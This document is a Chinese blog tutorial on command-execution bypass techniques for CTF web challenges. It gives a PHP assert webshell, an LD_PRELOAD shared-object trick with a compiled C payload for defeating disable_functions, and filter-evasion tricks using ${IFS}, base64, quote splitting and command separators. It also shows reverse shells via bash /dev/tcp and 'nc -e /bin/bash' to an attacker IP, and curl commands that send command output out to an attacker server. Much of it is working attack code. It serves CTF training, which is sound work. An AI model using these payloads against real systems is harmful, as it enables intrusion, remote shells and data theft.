CTF中的命令执行绕过

原创

合天网安实验室 于 2020-04-21 09:29:01 发布 1990 收藏 19
分类专栏： CTF

本文链接：https://blog.csdn.net/qq_38154820/article/details/105650684


CTF 专栏收录该内容
42 篇文章 7 订阅
订阅专栏

在介绍命令注入之前，有一点需要注意：命令注入与远程代码执行不同。他们的区别在于，远程代码执行实际上是调用服务器网站代码进行执行，而命令注入则是调用操作系统命令进行执行。

作为CTF最基础的操作，命令执行的学习主要是为了以后进一步使用webshell打下基础

同样的，今天还会介绍如何使用各种命令执行绕过的方式

首先我们先来看代码执行

动态调用：

这个地方是ctf曾经的一个考点，也是我在强网杯出过的一道题目，叫"高明的黑客"，里面使用的就是混淆代码+动态函数调用，这种写法实际上在红蓝攻防中很经常用到，就是一堆函数进行混淆，然后在里面插入一个动态函数进行真正的代码执行或者是命令执行。

当时那道题目的灵感是来自于一场安全响应，黑客攻陷网站后，在里头插入了混淆以后的代码，1000多个文件里面只有一条路径是正常执行的，最后是使用debug直接看栈内存的调用来判断哪个路径是真的动态调用。

```
<?php
$a = 'assert';
$a($_POST['a']);
?>
```

常见的命令执行函数

```
常见命令执行函数
system()
passthru()
exec()
shell_exec()
`反引号
```

反引号

```
➜ ~ php -r "echo @whoami;"
```

这个是大家很容易忘记的一个命令执行点，ctf赛题最近也出了很多道关于这个的题目。我们在第二篇中会拿一个例子来详细分析他的作用。

命令执行绕过

以上是我们常见的代码注入或者是命令注入的函数，但是很多时候在ctf中，出题人不会那么轻易的就让我们执行命令。因此我们必须要能够掌握多种命令执行绕过的姿势。

一般来说，遇到的无非以下两种情况：

1.disable_function

2.过滤字符

disable_function

这个东西很明显就是什么呢，你能够代码执行了，但是发现不论是蚁剑还是你自己手打，都执行不了系统命令，然后你用phpinfo这种函数读取后发现如下配置：

browscap	no value	no value
default_charset	UTF-8	UTF-8
default_mimetype	text/html	text/html
disable_classes	SplFileObject,SplFileInfo,SplTempFileObject,SessionHandler	SplFileObject,SplFileInfo,SplTempFileObject,SessionHandler
disable_functions	pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec,posix_mkfifo, pg_lo_import, dbmopen, dbase_open, popen, chgrp, chown, chmod, symlink ,apache_setenv,define_syslog_variables, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_uname, proc_close, pclose, proc_nice, proc_terminate,curl_exec,curl_multi_exec,parse_ini_file,show_source,imap_open,fopen,copy,rename,readfile,readlink,tmpfile,tempnam,touch,link,file_put_contents,file ,ftp_connect,ftp_ssl_connect,	pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec,posix_mkfifo, pg_lo_import, dbmopen, dbase_open, popen, chgrp, chown, chmod, symlink ,apache_setenv,define_syslog_variables, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_uname, proc_close, pclose, proc_nice, proc_terminate,curl_exec,curl_multi_exec,parse_ini_file,show_source,imap_open,fopen,copy,rename,readfile,readlink,tmpfile,tempnam,touch,link,file_put_contents,file ,ftp_connect,ftp_ssl_connect,
display_errors	Off	Off

实际上是开发者在后端的php.ini里写了如下语句

```
disable_functions =system,exec,shell_exec,passthru,proc_open,proc_close, proc_get_status,checkdnsrr,getmxrr
```

最常用的就是两种办法

1.ld_preload

2.php_gc

ld_preload

今年来比较少考到，但是在红蓝攻防中很经常应用

需要对面满足条件是：对面没有禁用mail函数（可能这也是最近比赛不爱考这个的原因之一，如果禁用了mail，那等于就是考察别的点了，不禁用mail又一堆人用这个方法绕过，也很没有意思）操作方法：

hack.c

```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
        system("ls /var/www/html > /tmp/smity");
}
int geteuid()
{
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
}
```

将带有命令的c文件编译成为.so文件然后通过代码执行传入（这里可以直接用蚁剑）

```
gcc -c -fPIC hack.c -o hack
gcc --share hack -o hack.so
```

然后传入如下php文件

```php
<?php
putenv("LD_PRELOAD=./hack.so");
mail('','','','');
?>
```

访问php文件就可以运行刚才的命令了。然后可以在/tmp/smity文件下看到ls的结果。

php_gc

从这两次公益赛来看这个都是考点（春秋和高校）两次的题目分别是：easy-thinking和php-uaf都是做到了代码执行却没有命令执行，所以通常步骤就是，利用蚁剑链接我们的shell代码执行，将下面的脚本写好命令传上去然后访问，利用phpgc进程Bypass 条件：php7.0 < 7.3 (Unix)

这里的大家可以参考这个博客，里面有比较详细的脚本，因为太长了就不贴在这里了

https://wulidecade.cn/2019/09/27/%E7%BB%95%E8%BF%87disable-function%E6%B1%87%E6%80%BB/

过滤字符

这个限制一般是题目中允许你使用system，但是很奇怪的是你却没有办法获取执行命令的结果

比如，对面过滤了空格，你能执行ls，但是没法cat读取文件

比如，对面过滤了flag这个词语，什么文件都可以读取，就是没办法读取flag

等等，都是ctf题目做到最后，这个出题人小心思故意在这里卡你一下。这个时候你就需要试试我接下来讲的这些方法：

空格代替

空格在bash下，可以用以下字符代替空格

```
<
${IFS}
$IFS$9
%09
```

```
root@kali:~# cat<test.txt
hello world!

root@kali:~# cat${IFS}test.txt
hello world!

root@kali:~# cat$IFS$9test.txt
hello world!
```

这里解释一下${IFS},$IFS,IFS9的区别，首先$IFS在linux下表示分隔符，只有cat$IFSa.txt的时候,bash解释器会把整个IFSa当做变量名，所以导致没有办法运行，然而如果加一个{}就固定了变量名，同理在后面加个$可以起到截断的作用，而$9指的是当前系统shell进程的第九个参数的持有者，就是一个空字符串，因此$9相当于没有加东西，等于做了一个前后隔离。

截断符号

ctf很喜欢考的一点是命令执行的连接，这个地方它通常会给一个已有的命令执行，比如代码写好了ping命令，叫你填写一个ip参数这样的题目，这个时候就需要测试截断符号，将你输入的ip参数和后面要执行的命令隔开。首先测试所有的截断符号：

```
‘$’
‘;’
‘|’
‘-’
‘(’
‘)’
‘反引号’
‘||’
‘&&’
‘&’
‘}’
‘{’
%0a可以当作空格来用；
```

利用截断符号配合普通命令简单问题基本就出来；例如：ip=127.0.0.1;cat /home/flag.txt这样就可以达到同时执行两条命令的效果

利用base编码绕过

这种绕过针对的是系统过滤敏感字符的时候，比如他过滤了cat命令，那么就可以用下面这种方式将cat先base64编码后再进行解码运行。

```
root@kali:~# echo 'cat' | base64
Y2F0Cg==

root@kali:~# `echo 'Y2F0Cg==' | base64 -d` test.txt
hello world!
```

连接符，用两个单引号可以绕过

cat /etc/pass'w'd这个是现在很喜欢考的点之一，基本能通杀大部分命令注入waf因为单引号一旦过滤很大程度上会影响正常解题。

```
root@iZ2zeealoheq9okvzmdfxoZ:~# cat /etc/pass'w'd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/s
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
```

反斜杠利用

这个是很经典的hitcon题目，hitcon连续好几年出了绕过长度限制执行命令的题目

比如七个字符执行命令

七个字的命令执行

这里先介绍一下小技巧，linux下创建文件的命令可以用1>1创建文件名为1的空文件

```
root@kali:~# 1>1
root@kali:~# ls
1       db.py      Downloads                easy-creds-2018-09-13-0251     Pictures    recieve.py    test.txt
1.txt   ddos.py    dsniff.services          Music                          ps.txt      sslstrip.log  Videos
a.out   Desktop    easy-creds-2018-09-12-2311  myimage.dd                  Public      Templates     Workshops
bin     Documents  easy-creds-2018-09-12-2325  Nessus-8.1.0-debian6_amd64.deb  recevie.py  test.php
root@kali:~#
```

ls>1可以直接把把ls的内容导入一个文件中,但是会默认追加\n

```
root@kali:~# ls>3;cat 3
1
1.txt
2
3
```

\ 在linux里也是个连接符，最早使用在屏幕不能容纳超过18个字符的第一代计算机，用于连接上下两行，这里使用它来绕过限制

语句为wget 域名.com -O shell.php

ls > a 写入服务器文件然后sh a 读取

这里注意.不能作为文件名的开头，因为linux下.是隐藏文件的开头，ls列不出来

然而这里还有个问题，就是ls下的文件名是按照字母顺序排序的，所以需要基于时间排序 将最后的命令改成ls -t>a

```
root@VM-0-14-ubuntu:/var/www/html# ls >a
root@VM-0-14-ubuntu:/var/www/html# sh a
a: 1: a: 0.php: not found
a: 2: a: a: not found
a: 3: a: a.php: not found
a: 4: a: bian.php: not found
a: 5: a: chenyumei: not found
a: 6: a: code.zip: not found
a: 7: a: cyn: not found
a: 8: a: douchat-4.0.4: not found
a: 9: a: flag.php: not found
a: 10: a: get.php: not found
a: 11: a: include.php: not found
a: 12: a: index.html: not found
a: 13: a: index.php: not found
a: 14: a: opensns: not found
a: 15: a: php.php: not found
a: 16: a: post.php: not found
a: 17: a: site.php: not found
a: 18: a: sql.php: not found
a: 19: a: test.php: not found
```

至于绕过5个字符执行命令，绕过4个字符，那其实都是用\做的trick，这里不一一赘述了。

命令执行结果返回长度受限制

这次在高校战役上有一道题目提醒了我这个，出题人其实能过滤的就那么多，那么还有一种方法卡住你就是不让你看到命令执行的完整结果，比如不回显或者是回显一行，这次题目需要用道soapclient做代码执行，但是它有一点不好就是没办法回显完整，只能看到一行结果，这样对我们的命令执行很不方便，而且dev文件没有权限使用，这个时候我们可以用下面这个反弹shell的办法。

其实反弹shell的命令大家很喜欢用这个：

bash -i >&/dev/tcp/ip/port0>&1

但是这个有一点不好，他需要dev也需要bash，实际上用我下面这个命令会更简单：监听端口后

nc-e /bin/bash ip port

这样也可以拿到shell，其实本质是一样的，没有太大区别，只是简化了一下。

一道很经典的命令执行绕过

这个题目好像看到两次了，一开始大家都不会脑洞，后来发现这次还是好多人没有学会，也没有去总结poc：

```php
<?php

    highlight_file(__FILE__);

if ($x = @$_GET['x'])
{
                eval(substr($x, 0, 5));
}
```

首先先明白这个地方限制了什么

1.限制了只能代码执行

2.限制了只能执行一个变量$x

3.限制了这个变量的长度

所以这个地方一共有两个思路

1.传入数组，让他能够执行多个变量，因为$_GET是个数组，但是这个思路是错误的，因为GET虽然能传入多个变量，但是已经限制了只能执行$x，而$x来自GET数组里键值为x的变量，所以第这个我们放弃。

2.反引号执行自己，传入$x本身，也就是说，直接让$_GET['x']=$x，这样一来，就会使得$x=$x，如果$x是命令，就会通过反引号自己来执行它

如果$x后面再跟上我们之前讲的连接符会是什么样呢

`$x`;abcd

那么即使取出前5个字符，还是会执行整个的$x，用上分隔符就会执行多条命令

假设我们在这里加点难度，没有回显，执行命令但是不给你结果，怎么办呢？

两种方法

1.反弹shell

2.curl

反弹shell，我们这里可以使用;来连接命令，

$x;nc -e /bin/bash ip port

然后在自己服务器端口 nc -lvv 8080进行监听

但是这题要是再难一点，没有权限执行反弹shell这个操作呢

我们还可以用另一种方法：

curl的妙用

在curl里面有这几种方式

直接ip发送get包

-d发送post包

-v 显示整个通信过程

--data发送数据

这里可以使用curl -v http://ip?whoami

或者 curl -v http://ip --datawhoami

IP为自己服务器，就可以在/var/log/apache2/access.log下看到命令执行的结果了。

实操练习（点击链接即可）--命令执行漏洞（实验以简单PHP源码调用关键系统函数，通过WEB执行任意系统命令）

http://hetianlab.com/expc.do?ec=ECID172.19.104.18201506091725050001